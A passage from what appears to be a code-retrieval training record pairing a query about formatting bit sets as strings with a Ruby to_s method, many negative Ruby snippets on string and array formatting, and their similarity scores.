"0.53470755",
"0.5338381",
"0.53371227",
"0.5334475",
"0.5333021",
"0.5330065",
"0.5316391",
"0.53114426",
"0.5298992",
"0.528665",
"0.52856874",
"0.52708507",
"0.52636075"
] |
0.8012475
|
0
|
Transform a bit set into a string by formatting each element as an integer separator The string to put in between elements
|
def to_s(g)
buf = StringBuffer.new
separator = ","
have_printed_an_element = false
buf.append(Character.new(?{.ord))
i = 0
while i < (@bits.attr_length << LOG_BITS)
if (member(i))
if (i > 0 && have_printed_an_element)
buf.append(separator)
end
if (!(g).nil?)
buf.append(g.get_token_display_name(i))
else
buf.append(i)
end
have_printed_an_element = true
end
i += 1
end
buf.append(Character.new(?}.ord))
return buf.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def stringy(num, bit = 1)\n bin_arr = []\n num.times { |n| n.even? ? bin_arr << (0 + bit) : bin_arr << (1 - bit) }\n bin_arr.join\nend",
"def to_s\r\n @bitstring.reverse.scan(/.{1,8}/).map {|s| s.reverse}.reverse.map {|bin| \"\" << bin.to_i(2)}.join\r\n end",
"def show_binstring()\n @values.values.map do |v|\n v ? \"1\" : \"0\"\n end.join\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def digits_to_str a, b, c, d\n [a,b,c,d].map{|x|x.to_i & 0xff}.join '.'\nend",
"def pandigitals(set)\n array = []\n\n set.permutation.each do |permutation|\n if permutation.first != '0'\n array << permutation.join('')\n end\n end\n\n array\nend",
"def getSet(n)\n\t((n%8).to_s(2).rjust(3,\"0\"))\nend",
"def as_string bitmap\n return 'none' if bitmap.zero?\n res = []\n\n @name_to_bitmap.each do |name, bit|\n res << name if (bitmap & bit) != 0\n end\n\n res.join ','\n end",
"def handle_bit (num)\n num2str=''\n num2str+=NUM_MAP[num]\n return num2str\nend",
"def stringy(number)\n number_range = (1..number)\n binary = []\n number_range.each do |num|\n if num % 2 == 1\n binary << 1\n elsif num % 2 == 0\n binary << 0\n end\n end\n binary.join(\"\")\nend",
"def stringy(int)\n ones_and_zeros = []\n int.times do\n if ones_and_zeros.empty?\n ones_and_zeros << '1'\n elsif ones_and_zeros[-1] == '1'\n ones_and_zeros << '0'\n else\n ones_and_zeros << '1'\n end\n end\n ones_and_zeros.reduce(:+)\nend",
"def get_pandigitals\n return (0..9).to_a.permutation.map(&:join)\nend",
"def stringy(num)\n arr = []\n\n num.times do |idx|\n digit = idx.odd? ? '0' : '1'\n arr << digit\n end\n\n arr.join\nend",
"def stringy(integer)\n ones_and_zeroes = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0\n ones_and_zeroes << number\n end\n\n ones_and_zeroes.join\nend",
"def stringy(int)\n arr_digits = (1..int).to_a\n arr10 = []\n arr_digits.each do |num|\n num % 2 == 1 ? arr10 << 1 : arr10 << 0\n end\n arr10.join\nend",
"def stringy(num)\n (1..num).map { |idx| idx.odd? ? '1' : '0' }.join\nend",
"def to_s\n @bits.to_s(2)\n end",
"def to_strings\n digits.inject(['']) do |results, digit|\n combinations(results, digit)\n end\n end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def stringy number, count = 1\n binary_string = ''\n\n if count == 1\n (number / 2).times {binary_string << '10'}\n binary_string << '1' if number % 2 == 1\n elsif count == 0\n (number / 2).times {binary_string << '01'}\n binary_string << '0' if number % 2 == 1\n end\n\n binary_string\n end",
"def pattern_bits\n str = bits.to_s(2)\n str = str.rjust(self.step_count, '0')\n str.chars.collect{|x|x=='1'}\n end",
"def pack_message(arr)\n\t\treturn arr.collect {|x| sprintf(\"%03d\", x)}.join(\",\") + \",\"\n\tend",
"def Bitwise(arr)\n output_num = ''\n arr[0].split(//).each_with_index {|char,idx| char == arr[1][idx] ? output_num << '0' : output_num << '1'}\n output_num.to_i\nend",
"def ints_to_str(ints)\n ints.map{|c| c == ' ' ? c : (c + 64).chr }.join('')\nend",
"def _to_bit_string(i, min_width=0)\n hexed = i.to_s(16)\n padded = true if hexed.length % 2 == 1 # prepend 0\n bitstring = [(padded ? \"0#{hexed}\" : hexed)].pack(\"H*\").unpack(\"B*\").first\n bitstring = bitstring[4,bitstring.length - 4] if padded\n (\"0\" * [min_width - bitstring.length, 0].max) + bitstring\n end",
"def stringy(int)\n\ncounter = int\narr = []\n\n while counter > 0\n if !arr.empty? && counter % 2 ==0\n arr << 0\n elsif counter % 2 !=0 && arr.last != 1 || arr.empty?\n arr << 1\n else\n next\n end\n counter -= 1\n end\n arr.join()\nend",
"def stringy(num)\n zero_array = []\n one_array = []\n\n (num / 2).times do\n zero_array << 0\n one_array << 1\n end\n\n if num.odd?\n one_array << 1\n end\n\n one_array.zip(zero_array).flatten.join(\"\")\nend",
"def bin(x)\n x.to_s(16).chars.to_a.map{|d| d.to_i(16).to_s(2).rjust(4, '0')}.join(' ')\nend",
"def to_s\n @flags.join(', ')\n end",
"def to_s\n\t\t\t\t'[' << map(&:to_s).join(', ') << ']'\n\t\t\tend",
"def concateList(a)\n as = ''\n while true do\n as.concat(a.value.to_s.rjust(4, '0'))\n break if a.next.nil?\n a = a.next\n end\n\n as\nend",
"def display_binary(n)\n if (n <= 0)\n return\n end\n display_string = binary_to_int(n).to_s\n display_string.tr!(\"[], \", \"\")\n display_string.reverse!\n puts \"#{n} in binary is: #{display_string}\"\n return display_string\nend",
"def stringy_options(size, beginning=1)\n numbers = ''\n size.times do |index|\n if beginning == 1\n index.even? ? numbers << '1' : numbers << '0'\n else\n index.even? ? numbers << '0' : numbers << '1'\n end\n end\n numbers\nend",
"def makeInteger lst\n str = \"\"\n (0...(lst.length)).step(2).each do |i|\n flag = lst[i].length - 1\n n_rep = lst[i+1].length\n str = appendValue(str, flag.to_s, n_rep)\n end\n return str.to_i(2)\nend",
"def convert_groups_to_string\n if self.to_groups.is_a? Array\n self.to_groups = self.to_groups.map {|g| g.to_i}.join(\",\")\n else\n self.to_groups = self.to_groups.to_s\n end\n end",
"def integer_to_string(integer)\n\n counter = 0\n loop do\n counter += 1\n remainder = 10 ** counter\n mod = integer.divmod(remainder)\n break if mod[0] == 0\n end\n\n arr = []\n loop do\n counter -= 1\n denominator = 10 ** counter\n key = (integer / denominator) % 10\n arr << CHAR_SET[key]\n break if counter == 0\n end\n\n arr.join\nend",
"def insert_commas(positive_int)\n positive_int.to_s.reverse.chars.each_slice(3).map{|s| s.join}.join(\",\").reverse\nend",
"def string\n binary.map { |i| i.to_i.to_s(16) }.join('')\n end",
"def ids_to_s(many_ids, id_sep = CompositePrimaryKeys::ID_SEP, list_sep = ',', left_bracket = '(', right_bracket = ')')\r\n many_ids.map {|ids| \"#{left_bracket}#{ids}#{right_bracket}\"}.join(list_sep)\r\n end",
"def number_to_flags(number)\n number.to_s.rjust(3, \"0\")\n end",
"def stringy(number)\n result = []\n\n number.times do |num|\n numbers = num.even? ? '1' : '0'\n result << numbers\n end\n \n result.join\nend",
"def to_s(base = 2)\n case base \n when 2\n inject(\"\") { |a, b| a + \"%0#{@bits}b \" % b }.strip\n when 10\n self.inject(\"\") { |a, b| a + \"%1d \" % b }.strip\n else\n raise(ArgumentError, \"unsupported base\")\n end\n end",
"def to_s\n self.to_a[1,4].map {|x| x.to_s}.join\n end",
"def to_s\n \"%014d\" % to_i\n end",
"def to_s(separator=\":\")\n return self.to_a.collect {|x| x.to_s.rjust(2).gsub(/ /, \"0\")}.join(\":\")\n end",
"def stringy(number)\n result = []\n\n 1.upto(number) do |num|\n numbers = num.even? ? '0' : '1'\n result.push(numbers)\n end\n result.join\nend",
"def stringy(num = 1)\n ones_zeros = []\n counter = 0\n \n loop do\n # break if num == 1\n if ones_zeros == []\n ones_zeros << 1\n end\n\n ones_zeros[counter] == 1 ? ones_zeros << 0 : ones_zeros << 1\n counter += 1\n break if counter == num -1\n end\n string_num = ones_zeros.join\nend",
"def to_s\n\t w=0\n\t aux = \"[\"\n\t for i in(0..@alt)\n\t aux += \"[\"\n\t for j in(0..@anc)\n\t\tif (w < @n_elem && i==@alto[w])\n\t\t if(j==@ancho[w])\n\t\t if(j==@anc)\n\t\t\taux += \"#{@elem[w]}\"\n\t\t else\n\t\t\taux += \"#{@elem[w]},\"\n\t\t end\n\t\t w=w+1\n\t\t else\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\t end\n\t\telse\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\tend\n\t end\n\t aux += \"]\"\n\t end\n\t aux += \"]\"\n\t aux\n\tend",
"def stringy(int1, int2 = 1)\n numbers = []\n\n int1.times do |int| \n number = int.even? ? 0 : 1\n numbers << number\n end\n\n numbers.join\nend",
"def stringy(num)\n str = ''\n num.times do |indx|\n indx % 2 == 0 ? str += '1' : str += '0'\n end\n return str\nend",
"def stringy(input_integer)\n chunks = [] # => [], [], [], []\n (input_integer/2).times do # => 3, 4, 2, 3\n chunks << '10' # => [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"], [\"10\", \"10\", \"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"]\n end # => 3, 4, 2, 3\n\n if input_integer.even? # => true, false, true, false\n chunks.join('') # => \"101010\", \"1010\"\n else\n chunks.join('') + '1' # => \"101010101\", \"1010101\"\n end # => \"101010\", \"101010101\", \"1010\", \"1010101\"\nend",
"def to_s\n variable = 0\n @values.each do |k, v|\n if variable % 9 == 0\n puts \"|\"\n\n puts \".\" * 37\n\n end\n print \"| #{v} \"\n variable += 1\n end\n \"|\"\n end",
"def to_s\na = unpack\ntmp = a[-1].unpack 'C*'\na[-1] = sprintf '%02x%02x%02x%02x%02x%02x', *tmp\n\"%08x-%04x-%04x-%02x%02x-%s\" % a\nend",
"def to_s\n output = \"\"\n for x in 0...@map.length do\n for y in 0...@map[x].length do\n if @map[x][y] == 1\n output += \"+ \"\n else\n output += \" \"\n end\n end\n output += \"\\n\"\n end\n return output\n end",
"def encode_bits(bits)\n [bits.map { |b| b ? '1' : '0' }.join].pack('b*')\n end",
"def to_bin(separator='')\n Array.new(factorbase.size){|i| (factors[factorbase[i]] || 0) % 2 }.join(separator)\n end",
"def stringy(num, option = 1)\n str = ''\n first_char = option.to_s\n second_char = (option == 1 ? '0' : '1')\n num.times { |ndx| str << (ndx.even? ? first_char : second_char) }\n str\nend",
"def stringy2(int, *zero)\n str = ''\n if zero == [0] then str += '0' else str += '1' end\n int.times do |n|\n if n > 0\n array = str.chars\n if array[n - 1] == '0' then str += '1' else str += '0' end\n end\n end\n p str\nend",
"def to_s\n format '%-6s %-8s %s', @type.to_s.upcase, @label, @bit\n end",
"def to_s\r\n @id + \"|\" + @paired\r\n end",
"def ids_to_s(many_ids, id_sep = CompositePrimaryKeys::ID_SEP, list_sep = ',', left_bracket = '(', right_bracket = ')')\n many_ids.map {|ids| \"#{left_bracket}#{CompositePrimaryKeys::CompositeKeys.new(ids)}#{right_bracket}\"}.join(list_sep)\n end",
"def input_to_bitstring( value )\r\n value\r\n end",
"def to_s\n require 'stringio'\n\n sb = StringIO.new\n each { |block3|\n sb << block3.map { |block4|\n format(\"%0#{1 << BLOCK4}b\", (block4 || 0)).reverse }.join\n }\n\n # At max there will be just 1 block of extra bits\n # So we are cutting at exactly @size\n sb.string[0...@size]\n end",
"def stringy(integer)\n i = 1\n output = ''\n while i <= integer\n output += '1' if i.odd?\n output += '0' if i.even?\n i += 1\n end\n output\nend",
"def to_s\n if @i >= 0\n \"#{@r}+#{@i}i\"\n else\n \"#{@r}#{@i}i\"\n end\n end",
"def to_string(num)\n\tteens = %w[eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen]\n\tones = %w[one two three four five six seven eight nine]\n\ttens = %w[ten twenty thirty forty fifty sixty seventy eighty ninety]\n\n\tdigits = num.to_s.split(\"\").map { |e| e.to_i }.reverse\n\twords = []\n\twrite_and = false\n\n\tdigits.each_with_index do |n, i|\n\t\tnext if n == 0\n\n\t\tif ((i == 2) || (i == 3))\n\t\t\tif write_and\n\t\t\t\twords.push(\"and\")\n\t\t\t\twrite_and = false\n\t\t\tend\n\t\tend\n\n\t\tcase i\n\t\twhen 0\n\t\t\tif (digits[i+1] == 1)\n\t\t\t\twords.push(teens[n-1])\n\t\t\t\tdigits[i+1] = 0\n\t\t\telse\n\t\t\t\twords.push(ones[n-1])\n\t\t\tend\n\n\t\t\twrite_and = true\n\t\twhen 1\n\t\t\twords.push(tens[n-1])\n\n\t\t\twrite_and = true\n\t\twhen 2\n\t\t\twords.push(\"hundred\")\n\t\t\twords.push(ones[n-1])\n\t\twhen 3\n\t\t\twords.push(\"thousand\")\n\t\t\twords.push(ones[n-1])\n\t\tend\n\tend\n\n\treturn words.reverse.join(\"\")\nend",
"def stringy(number)\n result = ''\n number.times do |idx|\n result << (idx.even? ? '1' : '0')\n end\n result\nend",
"def to_i\n\t\tbits.map(&:to_s).join.to_i(2)\n\tend",
"def stringy(pos_int)\n result = ''\n pos_int.times do |ind|\n ind%2 == 0 ? result<<'1' : result<<'0'\n end\n result\nend",
"def stringy(size, option = 1)\n numbers = []\n\n size.times do |index|\n if option == 1\n number = index.even? ? 1 : 0\n numbers << number\n else\n number = index.even? ? 0 : 1\n numbers << number\n end\n end\n\n numbers.join\nend",
"def digit_list(integer)\n array = integer.split('')\n if array.length <= 2\n return array.join(' and ')\n else\n return array.join(', ')\n end\nend",
"def stringy(number)\n arr = []\n (1..number).each { |num| arr << num }\n\n string = \"\"\n arr.each do |num|\n string << \"0\" if num % 2 == 0\n string << \"1\" if num % 2 == 1\n end\n\n string\nend",
"def encode integer_array\n integer_array = integer_array.clone\n bits = BitArray.new\n integer_array.each do |x|\n q = x/@M\n q.times {bits.push 1}\n bits.push 0\n r = x % @M\n (@b-1).downto(0){|i| bits.push r[i]}\n end\n bits\n end",
"def expanded_form(num)\n num.digits.map.with_index do |int, ind|\n int * (\"1\" + (\"0\" * ind)).to_i if int > 0\n end.compact.reverse.join(\" + \")\nend",
"def integer_to_string(int)\n\n arr_int = []\n\n while int >= 0\n temp_num = int % 10\n arr_int.unshift(temp_num)\n int /= 10\n break if int <= 0\n end\n\n arr_int.join\nend",
"def stringy(number)\n result = ''\n number.times {|i| i.even? ? result << '1' : result << '0'}\n result\nend",
"def stringy(num)\n str = ''\n num.times do |i|\n str << '1' if i.even?\n str << '0' if i.odd?\n end\n str\nend",
"def back_to_s(array)\n array.join(\"\")\nend",
"def to_s\n result = ''\n first = true\n if ((@value & Flags.unknown) != 0) && ((@value & Flags.unknown) == Flags.unknown)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'unknown'\n end\n if ((@value & Flags.invalid) != 0) && ((@value & Flags.invalid) == Flags.invalid)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'invalid'\n end\n if ((@value & Flags.initialized) != 0) && ((@value & Flags.initialized) == Flags.initialized)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'initialized'\n end\n if ((@value & Flags.calculated) != 0) && ((@value & Flags.calculated) == Flags.calculated)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'calculated'\n end\n if ((@value & Flags.broken) != 0) && ((@value & Flags.broken) == Flags.broken)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'broken'\n end\n if ((@value & Flags.good) != 0) && ((@value & Flags.good) == Flags.good)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'good'\n end\n if ((@value & Flags.bad) != 0) && ((@value & Flags.bad) == Flags.bad)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'bad'\n end\n result\n end",
"def stringy(int, int1 = 1)\n if int && int1 != 0\n Array.new(int) { |i| i.even? ? '1' : '0' }.join\n elsif int1 == 0\n Array.new(int) { |i| i.even? ? '0' : '1' }.join\n end\nend",
"def get_digits(stream, mask, digits)\n nbits = BYTES_PER_DIGIT[digits] * 8\n return \"\" unless nbits.positive?\n\n value = (BinData.const_get(\"Int%dbe\" % nbits).read(stream) ^ mask)\n # Preserve leading zeros.\n \"%0#{digits}d\" % value\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def initialize_set\n @set = Array.new()\n (0000..5555).each do |i|\n gtg = true\n i.to_s.split('').each do |j|\n gtg = false if j.to_i > 5 || j.to_i < 0\n end\n if gtg\n str = \"\"\n i.to_s.rjust(4, \"0\").split('').each { |k| str += @colors[k.to_i] }\n @set.push(str)\n end\n end\n end",
"def stringy(num, start_with=0)\n numbers = []\n\n num.times do |index|\n if start_with == 1\n number = index.even? ? 1 : 0\n numbers << number\n else \n number = index.even? ? 0 : 1\n numbers << number\n end \n end\n numbers.join\nend",
"def to_string_of_half_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n tmp = @bits[i]\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n s.append(\", \")\n tmp = @bits[i] >> 32\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n i += 1\n end\n return s.to_s\n end",
"def to_s\r\n @list.map{|el| el.to_s}.join ' | '\r\n end",
"def stringy(size)\n i, string = 0, \"\"\n while i < size do\n string[-1] == \"1\" ? string << \"0\" : string << \"1\"\n i += 1\n end\n return string\nend",
"def to_s(base=2)\n n = Bits.power_of_two(base)\n if n\n digits = (size+n-1)/n\n #{ }\"%0#{digits}d\" % @v.to_s(base)\n Numerals::Format[:fix, base: base].set_leading_zeros(digits).write(@v)\n else\n @v.to_s(base)\n end\n end",
"def bi(i)\n string = []\n i.times do |n|\n if n.even?\n string << \"1\"\n else\n string << \"0\"\n end\n end\n string.join\nend",
"def bit_to_hex(input)\n # string > binary -> hex -> justify right\n input.to_i(2).to_s(16).rjust(2, '0').upcase\n end",
"def bits(number)\n bits = []\n\n while number != 0\n bits << number % 2\n number = number / 2\n end\n\n bits.reverse.join\nend",
"def convert_int(int)\n [int].pack('s>')\n end",
"def to_s\n \"(#{@x.map(&:to_s).join(\" + \")})\"\n end",
"def stringy(integer)\n numbers = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0 # ternary operator if/then, number captures new value\n numbers << number\nend\n\n # numbers.join\nend",
"def to_s\n self.map{|x| \"[\" + x.sort{|x, y| x.ord <=> y.ord}.join(', ') + \"]\"}.join(', ')\n end",
"def add_commas_to_integer(integer)\n reversed_digits = integer.to_s.chars.map(&:to_i).reverse\n reversed_digits.each_slice(3).map { |sl| sl.join }.join(',').reverse\nend",
"def integer_to_string(num)\n num.digits.map { |x| INT_CONVERT[x] }.reverse.join\nend",
"def stringy(num)\n str = ''\n 1.upto(num) do |index|\n if index.odd?\n str << '1'\n else\n str << '0'\n end\n end\n str\nend",
"def encode\n s = \"#{@value}\\000\"\n\n n = 0\n @lengths.each do |l|\n s << [@types[n]].pack(\"#{punpack_string(l)}\")\n n += 1\n end\n s\n end",
"def number_to_string(integer)\n array_of_integers = []\n while integer != 0\n array_of_integers << integer % 10\n integer /= 10\n end\n array_of_integers.reverse.join\nend",
"def ints_to_strings(data)\n case data\n when Hash\n data.map { |k, v| [k, ints_to_strings(v)] }.to_h\n when Array\n data.map { |x| ints_to_strings(x) }\n when Fixnum\n data.to_s\n else\n data\n end\nend"
] |
[
"0.65705204",
"0.63952446",
"0.62367845",
"0.61964184",
"0.6094241",
"0.6086541",
"0.60073143",
"0.5998899",
"0.59159476",
"0.58926916",
"0.58800155",
"0.587191",
"0.5865218",
"0.58633095",
"0.5825253",
"0.5810091",
"0.5789492",
"0.57259554",
"0.56691533",
"0.5641682",
"0.5628527",
"0.5606405",
"0.56053674",
"0.5588965",
"0.5583106",
"0.55808526",
"0.5568474",
"0.5565332",
"0.5551655",
"0.5551016",
"0.55287284",
"0.5518249",
"0.5516878",
"0.5513952",
"0.5504534",
"0.5503618",
"0.550193",
"0.5498212",
"0.5478413",
"0.5454207",
"0.5454171",
"0.5454002",
"0.5446285",
"0.54303646",
"0.54185325",
"0.54179424",
"0.5406707",
"0.5391962",
"0.5375661",
"0.5367796",
"0.5362381",
"0.53552437",
"0.53326666",
"0.5326696",
"0.5322734",
"0.53118306",
"0.53028613",
"0.53008527",
"0.5294139",
"0.52861637",
"0.5284697",
"0.5283143",
"0.5281777",
"0.52801687",
"0.5277971",
"0.5266248",
"0.5265202",
"0.5262105",
"0.5260945",
"0.5256095",
"0.52495646",
"0.5246835",
"0.52458405",
"0.5236026",
"0.5232383",
"0.523027",
"0.5227714",
"0.52271986",
"0.5225646",
"0.5222148",
"0.52093273",
"0.5206807",
"0.5206303",
"0.52040815",
"0.52036047",
"0.52032936",
"0.51996326",
"0.51955086",
"0.5194756",
"0.5190451",
"0.5189992",
"0.5189944",
"0.51883644",
"0.5185747",
"0.51840794",
"0.5183244",
"0.5183038",
"0.5182489",
"0.5175372",
"0.5171142",
"0.5168913"
] |
0.0
|
-1
|
Create a string representation where instead of integer elements, the ith element of vocabulary is displayed instead. Vocabulary is a Vector of Strings. separator The string to put in between elements
|
def to_s(separator, vocabulary)
if ((vocabulary).nil?)
return to_s(nil)
end
str = ""
i = 0
while i < (@bits.attr_length << LOG_BITS)
if (member(i))
if (str.length > 0)
str += separator
end
if (i >= vocabulary.size)
str += "'" + RJava.cast_to_string(RJava.cast_to_char(i)) + "'"
else
if ((vocabulary.get(i)).nil?)
str += "'" + RJava.cast_to_string(RJava.cast_to_char(i)) + "'"
else
str += RJava.cast_to_string(vocabulary.get(i))
end
end
end
i += 1
end
return str
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s(separator=\":\")\n return self.to_a.collect {|x| x.to_s.rjust(2).gsub(/ /, \"0\")}.join(\":\")\n end",
"def humanize_list terms, separator: ', ', conjunction: ' and '\n *all_but_last, last = terms\n return last if all_but_last.empty?\n\n [ all_but_last.join(separator), last ].join conjunction\n end",
"def separator\n '+' + @widths.map { |w| '-' * (w+2) }.join('+') + '+' \n end",
"def key_with_separator(separator)\n segments.join(separator)\n end",
"def pp_vector(vector)\n puts vector.map { |y| y.inspect[1...-1].split('').join(' ') + ' , ' }.join[0...-3]\n print_new_line\nend",
"def separator(text)\n puts '--%s' % text\nend",
"def separator; end",
"def separator\n ','\n end",
"def sentence_maker(x)\n\tx.join(\" \")\nend",
"def segmented_output\n if @words.join(\"\").length == @str.length\n return @words.join(\", \")\n else\n get_error_message()\n end\n end",
"def separator(type); end",
"def parameterize(string, sep = '_')\n # replace accented chars with their ascii equivalents\n parameterized_string = ActiveSupport::Inflector.transliterate(string)\n # Turn unwanted chars into the separator\n parameterized_string.gsub!(/[^a-zA-Z0-9\\-_]+/, sep)\n unless sep.nil? || sep.empty?\n re_sep = Regexp.escape(sep)\n # No more than one of the separator in a row.\n parameterized_string.gsub!(/#{re_sep}{2,}/, sep)\n # Remove leading/trailing separator.\n parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/, '')\n end\n parameterized_string\n end",
"def print_separator_line\nline = \"\"\n3.times do\n3.times { line << SEPARATOR[:horizontal] }\nline << SEPARATOR[:cross]\nend\nputs line[0...line.length - 1]\nprint \"\\t\"\nend",
"def to_s\n \"Vector[\" + @elements.join(\", \") + \"]\"\n end",
"def to_s\n\t\treturn self.words.join(\" \")\n\tend",
"def join(separator = $,)\n result = \"\"\n if separator\n each_with_index { |obj, i| result << separator if i > 0; result << obj.to_s }\n else\n each { |obj| result << obj.to_s }\n end\n result\n end",
"def print_separator\n str = \"+\" + \"-\" * (title_width + 2)\n \n column_order.length.times do\n str += \"+\" + \"-\" * (column_width + 2)\n end\n \n puts str + '+'\n end",
"def printable\r\n list = @@words.to_a.sort.map {|word,definition| \"[#{word}] \\\"#{definition}\\\"\"}\r\n list.join(\"\\n\")\r\nend",
"def to_s\n\t w=0\n\t aux = \"[\"\n\t for i in(0..@alt)\n\t aux += \"[\"\n\t for j in(0..@anc)\n\t\tif (w < @n_elem && i==@alto[w])\n\t\t if(j==@ancho[w])\n\t\t if(j==@anc)\n\t\t\taux += \"#{@elem[w]}\"\n\t\t else\n\t\t\taux += \"#{@elem[w]},\"\n\t\t end\n\t\t w=w+1\n\t\t else\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\t end\n\t\telse\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\tend\n\t end\n\t aux += \"]\"\n\t end\n\t aux += \"]\"\n\t aux\n\tend",
"def to_s\n @items.join( _separator )\n end",
"def to_s\n x = categoria + \"\\n\"\n titles = \"#{\" \" * 21}%-10s %-10s %-10s\\n\" % [\"proteínas\", \"glúcidos\", \"lípidos\"]\n x += titles\n each do |alimento|\n x += Alimento.instance_method(:to_s).bind(alimento).call + \"\\n\"\n end\n x += \"\\n\"\n return x\n end",
"def separator = '********************' * 8",
"def to_sentence(items)\n if items.size <= 2\n items.join(items.size == 2 ? \" and \" : \"\")\n else\n [items[0..-2].join(\", \"), items.last].join(\", and \")\n end\n end",
"def sep(separator)\n ->(a, b){ a << separator.html_safe << b }\n end",
"def english_print(ary)\n if (ary.count == 0)\n return \"\"\n elsif (ary.count == 1)\n return \"#{ary[0]}\"\n elsif (ary.count == 2)\n return \"#{ary[0]} and #{ary[1]}\"\n else # >= 3\n # a, b, c, and d\n return ary.slice(0, ary.count-1).join(\", \") + \", and \" + ary[-1].to_s;\n end\n end",
"def separator\n \":\"\n end",
"def sequence_separator; end",
"def format_vector(vec)\n timeset = vec.timeset ? \"#{vec.timeset.name}\" : ''\n pin_vals = vec.pin_vals ? \"#{vec.pin_vals};\".gsub(' ', '') : ''\n sig_name = tester.ordered_pins_name || 'ALL'\n if sig_name.nil?\n Origen.log.warn \"WARN: SigName must be defined for STIL format. Use pin_pattern_order(*pins, name: <sigName>). Default to 'ALL'\"\n sig_name = 'ALL'\n end\n if vec.repeat > 1\n microcode = \"Loop #{vec.repeat} {\\n\"\n else\n microcode = vec.microcode ? vec.microcode : ''\n end\n if vec.pin_vals && ($_testers_enable_vector_comments || vector_comments)\n comment = \"// V:#{vec.number} C:#{vec.cycle} #{vec.inline_comment}\"\n else\n comment = vec.inline_comment.empty? ? '' : \"Ann {*// #{vec.inline_comment}*}\"\n end\n\n microcode_post = vec.repeat > 1 ? \"\\n}\" : ''\n \"#{microcode} V { \\\"#{sig_name}\\\" = #{pin_vals} }#{comment}#{microcode_post}\"\n end",
"def separator(string)\n top.append(string, nil, nil)\n end",
"def separator\n nil\n end",
"def my_join(separator = \"\")\n ret = \"\"\n each_with_index do |el, i|\n if i == count - 1\n ret << el\n else\n ret << el + separator\n end\n end\n ret\n end",
"def breakable(sep=' ', width=nil)\n @output << sep\n end",
"def to_s type = nil\n @items.join( get_separator( type ) )\n end",
"def join(list, sep = '')\n return '' if list.length == 0\n first_word = list.shift\n list.each do |item|\n first_word << sep << item\n end\n\n first_word\n end",
"def to_s\n variable = 0\n @values.each do |k, v|\n if variable % 9 == 0\n puts \"|\"\n\n puts \".\" * 37\n\n end\n print \"| #{v} \"\n variable += 1\n end\n \"|\"\n end",
"def quantify(number=nil, prepend=false)\n word = self\n word = word.pluralize unless number == 1\n word = [number, word].join(' ') if prepend\n word\n end",
"def separate word7, separator=\"-\"\n word7.split(\"\").join(separator)\nend",
"def separator\n columns_dashes = @widths.map { |w| '-' * (w + 2) }\n \"+#{columns_dashes.join('+')}+\"\n end",
"def random_separator(random_generator:, separators:)\n separators[random_bits(random_generator: random_generator, n_bits: log2(separators.length))]\n end",
"def separator\n I + columns.collect_with_index do |col, i| \n X * (length_of_column(i) + 2) \n end.join(I) + I \n end",
"def mostrar(valor, vector)\n val = vector.index(valor)\n val ? val.to_s : \"\"\n end",
"def to_s\n \"SparseVector[\" + @elements.join(\", \") + \"]\"\n end",
"def sep; end",
"def sep; end",
"def print_separator(repetitions = 18)\n puts '-' * repetitions\nend",
"def english_join(conjunction = 'and', separator = ', ', oxford_comma = true)\n len = length\n # Return empty string for empty array\n return '' if len == 0\n # Return only element as string if length is 1\n return self[0].to_s if len == 1\n # Return comma-less conjunction of elements if length is 2\n return \"#{self[0]} #{conjunction} #{self[1]}\" if len == 2\n # Return comma joined conjunction of elemements\n join_str = ''\n each_with_index{|ele, i|\n str = if !oxford_comma && i == len - 2\n \"#{ele} #{conjunction} \" # rubocop:disable Layout/IndentationWidth\n elsif i == len - 2\n \"#{ele}#{separator}#{conjunction} \"\n elsif i == len - 1\n ele.to_s\n else\n \"#{ele}#{separator}\"\n end\n join_str << str\n }\n join_str\n end",
"def splitter(input)\n\n input.each do |word|\n \n\n arr = word.split('').map(&:to_s)\n \n new_arr_even = []\n new_arr_odd = []\n\n arr.each_with_index do |item, index|\n if index.even?\n new_arr_even << item\n end\n end\n arr.each_with_index do |item, index|\n if index.odd?\n new_arr_odd << item\n end\n end\n \n str_even = new_arr_even.join('')\n str_odd = new_arr_odd.join('')\n\n final = str_even + \" \" + str_odd\n \n ## Unsure of why final adds a \\n\n ## Add gsub to remove it\n puts final.gsub(/\\n/, \"\")\n \n end \nend",
